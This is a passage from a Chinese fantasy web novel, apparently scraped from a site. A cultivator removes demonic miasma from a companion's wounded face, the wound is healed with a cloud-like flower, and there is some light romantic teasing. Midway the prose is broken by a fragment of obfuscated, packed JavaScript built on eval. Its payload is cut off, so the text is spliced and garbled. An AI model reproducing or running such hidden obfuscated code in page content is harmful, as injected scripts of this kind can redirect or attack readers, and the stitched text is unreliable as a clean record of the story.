晏景行在一旁,幻疼得不敢看。 “还好,来得及。”看完,谢怀玉淡定地说了句,抬起左手,用力捏住连长机的脸,血液当即涌了出来。 另一只手的两指扒开血洞边的肉,仿佛要取什么东西,慢慢伸了进去。 连长机额角青筋绽开,腮帮子鼓成一道铜墙铁壁,也不愿泄出一丝屈服的痛吟。豆大的冷汗擦过眉梢,往伤口滴落时,被谢怀玉用灵力推开。 终于,谢怀玉拿出手指,指间夹着一缕黑气。他正欲将黑气装进净妖瓶中,转念又觉得没必要,直接用自身灵力化去邪气,打碎成了齑粉。 做完这些,他才开口道:“钟阴妖邪,钟阴自有解。你先忍耐一下,待我们找到解药,就可以救你了。” “那要是,没找到呢?”连长机说话时,嘴唇不敢动弹,一动就会牵扯受伤的半张脸,一牵扯便会迎来一阵剧痛。 谢怀玉道:“不会。”他语气不骄不躁,莫名令人信服。 陆思涯替连长机擦了擦汗,皱着眉心道:“我带了镇痛符,你试试看。”他翻出几张绿色的灵符,递给连长机。 晏景行看他一副手不能抬头不敢动的模样,接过灵符道:“我来吧,是直接贴脸上吗?” “我又不是僵——哎哟尸!”为方便说话,连长机不得不咬着牙,吐字不清道,“贴脸上能有用吗?” 陆思涯抿了抿唇:“实不相瞒,这种日常用的符,我还在初学中,暂时只能贴伤口上。” 晏景行道:“听听,灵符主人都发话了。” 连长机咧着嘴不回话。 两张灵符一贴,疼痛果然减弱许多。连长机收了剑,抓着晏景行伸过来的胳膊起身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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晏景行心生一计,解开外袍,放轻动作,将一团云雾完整地包裹在衣服里。确定全部裹好后,他在相对的衣角之间打了个结,拎在手中,顺着藤条而下,很快落地。 谢怀玉用他摘回来的云状花朵,敷在连长机脸上。不一会儿,三人肉眼可见他脸上的血肉疯长。 连长机忍耐着巨痒,眼睫眨得飞快,双手死死抠进泥土里:“怎么这么痒?思涯,有没有止痒的符?” 陆思涯无能为力道:“时间紧迫,我没来得及做。” 等脸上伤口复原,看不出一丝瑕疵时,连长机浑身已被冷汗浸透,他瘫倒在地,缓慢喘气道:“不行了,我得歇歇。” 谢怀玉观察道:“效果不错。” 晏景行一听,问道:“那我要不要再去多摘几朵有备无患?” “不必。”谢怀玉摇头,“用之即取,不可贪。” 连长机歇着没动,其余两人也坐下来。晏景行把外袍铺在地上,扯着谢怀玉的衣袖道:“小琢,你坐这里,不脏。” 谢怀玉低头,晏景行只穿着一件里衣,正仔细把外袍一寸寸捋平。里衣略薄,两条白色的细绳连着衣服,勒在腰上,透出他蓄着力量的胸膛线条。往下是平坦的腹部,呼吸间,隐约可见分布均匀的块状肌肉。 谢怀玉莫名心一慌,移开视线道:“你把衣服穿上。” “怎么了?”晏景行抬头,表情有几分无辜,头顶的冰花从他乌黑的瞳孔里生长出来,“我不冷,我天生阳气重。” 连长机幽幽叹了口气。 陆思涯听见,扭头问道:“你伤口还在疼吗?” 连长机想捂脸,又懒得抬手,半晌,憋出一句:“我牙疼。”